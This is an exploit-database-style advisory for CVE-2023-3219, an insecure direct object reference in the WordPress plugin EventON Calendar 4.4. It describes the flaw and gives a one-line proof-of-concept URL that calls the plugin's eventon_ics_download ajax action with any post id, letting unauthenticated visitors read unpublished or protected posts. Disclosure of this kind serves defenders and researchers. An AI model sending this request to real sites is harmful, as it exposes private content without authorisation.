010e679abe
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15 lines
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731 B
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# Exploit Title: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Post Access via IDOR
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# Date: 03.08.2023
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# Exploit Author: Miguel Santareno
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# Vendor Homepage: https://www.myeventon.com/
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# Version: 4.4
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# Tested on: Google and Firefox latest version
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# CVE : CVE-2023-3219
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# 1. Description
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The plugin does not validate that the event_id parameter in its eventon_ics_download ajax action is a valid Event, allowing unauthenticated visitors to access any Post (including unpublished or protected posts) content via the ics export functionality by providing the numeric id of the post.
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# 2. Proof of Concept (PoC)
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Proof of Concept:
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https://example.com/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=<any post id> |